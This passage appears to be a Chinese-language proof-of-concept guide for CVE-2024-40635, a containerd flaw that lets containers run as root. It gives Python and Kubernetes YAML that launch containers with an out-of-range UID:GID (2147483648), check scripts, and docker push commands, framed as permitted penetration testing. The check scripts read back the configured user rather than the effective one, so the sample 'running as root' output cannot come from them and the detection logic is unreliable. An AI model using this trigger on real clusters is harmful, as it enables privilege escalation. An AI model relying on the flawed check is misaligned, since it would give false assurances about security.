CVE-2024-40635 漏洞的概念验证代码 数据来源:https://nvd.nist.gov/vuln/detail/CVE-2024-40635
import docker
这将导入 Python 的 docker 库,允许通过其 API 与 Docker 交互。如果尚未安装该库,可以通过运行以下命令添加:
pip install docker
client = docker.from_env()
这里,我们使用 docker.from_env() 方法创建一个 Docker 客户端对象。这将连接到您机器上(或远程主机上,如果已配置)正在运行的 Docker 守护进程。
def is_system_vulnerable(container):
try:
# Inspect container details
details = container.attrs
uid_gid = details['Config']['User']
print(f"Container UID:GID = {uid_gid}") # Print the UID:GID
if uid_gid == "0:0": # Root UID:GID
return True
return False
except Exception as e:
print(f"Error checking container details: {e}")
return False
目的:该函数通过检查已创建容器的属性来判断系统是否易受攻击。
关键步骤:
container.attrs:获取容器的所有元数据(配置、运行时设置等)。
details['Config']['User']:提取容器运行时的 UID:GID(用户和组 ID)。这是我们正在测试的属性。
print(f"Container UID:GID = {uid_gid}"):始终打印 UID:GID 以便可视化。
检查漏洞:如果 UID:GID 为 "0:0",则表明容器以 root 权限运行,系统存在漏洞。
container = client.containers.run(
"vulnerable-image", # 替换为您的测试镜像
user="2147483648:2147483648", # 超出 32 位有符号整数范围的 UID:GID
detach=True
)
client.containers.run:创建并启动一个 Docker 容器。
"vulnerable-image":将其替换为适合测试的实际 Docker 镜像名称。
user="2147483648:2147483648":这里,我们设置了一个自定义的用户和组 ID (UID:GID)。这些值超出了 32 位有符号整数范围,这是漏洞的触发条件。
detach=True:确保容器在后台运行,使脚本无需等待容器执行完毕即可继续。
try:
...
except Exception as e:
print(f"Error: {e}")
这个 try-except 块确保在容器创建或执行过程中出现的任何错误都能被捕获并打印,避免脚本意外终止。
print(f"Container {container.id} started.")
一旦容器成功创建并启动,其唯一 ID 将被打印出来以供参考。这对于调试或进一步检查容器非常有用。
if is_system_vulnerable(container):
print("System is vulnerable: Container is running as root!")
else:
print("System is not vulnerable.")
这将调用 is_system_vulnerable 函数,并将已创建的容器作为参数传入。
根据结果(True 表示存在漏洞,False 表示不存在),打印相应的消息。
脚本旨在在其输出中提供详细信息,包括:
分配给容器的 UID:GID。
系统是否存在漏洞的明确指示。
假设此脚本在测试环境中运行,可能发生以下情况:
2147483648:2147483648 创建一个容器。0:0 (root),导致容器以 root 权限运行。Container abc123 started.
Container UID:GID = 0:0
System is vulnerable: Container is running as root!
或者,如果系统正确处理大的 UID:GID 值且不将其映射到 root,您可能会看到:
Container xyz456 started.
Container UID:GID = 2147483648:2147483648
System is not vulnerable.
"vulnerable-image" 替换为适合测试场景的 Docker 镜像(例如依赖最少的镜像)。在诸如 Kubernetes 和 Harbor 的在线环境中运行此概念验证 (PoC) 进行渗透测试需要仔细规划,以确保测试受控、符合道德且有效。以下是您可以如何进行测试的详细说明:
1. 规划与准备 了解范围:定义测试的边界。确保您拥有在在线环境中执行渗透测试的明确许可。
2. 备份:创建关键系统和容器的备份,以防测试影响其可用性或数据。
3 测试环境:在 Kubernetes 中设置一个专用的命名空间或集群,用于此 PoC,以避免影响生产工作负载。
在您的 Kubernetes 集群中部署一个使用易受攻击版本的 containerd (v1.6.35-gke.0) 的容器。
使用依赖最少的 Docker 镜像(例如 "vulnerable-image")以保持攻击面较小。
用于 Kubernetes 部署的示例 YAML:
apiVersion: v1
kind: Pod
metadata:
name: vulnerable-pod
namespace: pentest
spec:
containers:
- name: vulnerable-container
image: vulnerable-image # 替换为您的测试镜像
securityContext:
runAsUser: 2147483648 # 有意超出 32 位有符号整数范围
runAsGroup: 2147483648
使用以下命令应用 YAML:
kubectl apply -f pod.yml
b. 使用 PoC 进行验证
从有权访问 Kubernetes 集群的机器上运行您开发的 Python 脚本。例如,您可以修改脚本以使用 kubernetes Python 库与 Kubernetes 交互。
安装该库:
pip install kubernetes
以下是集成 Kubernetes 的更新代码片段:
from kubernetes import client, config
# 加载 Kubernetes 配置
config.load_kube_config()
# 创建 Kubernetes API 客户端
v1 = client.CoreV1Api()
# 检查指定 Pod 的 UID:GID
def check_pod_user(pod_name, namespace):
pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
uid = pod.spec.containers[0].security_context.run_as_user
gid = pod.spec.containers[0].security_context.run_as_group
print(f"Pod {pod_name} UID:GID = {uid}:{gid}")
if uid == 0 and gid == 0:
print("System is vulnerable: Pod is running as root!")
else:
print("System is not vulnerable.")
check_pod_user("vulnerable-pod", "pentest")
docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest
Harbor 允许您控制镜像访问权限,因此请限制访问,确保易受攻击的镜像仅用于渗透测试。
验证:运行 PoC 后,检查日志中是否有任何指示漏洞触发的信息。例如,确认容器(或 Pod)是否以 root 权限运行。
文档:记录您的发现,例如: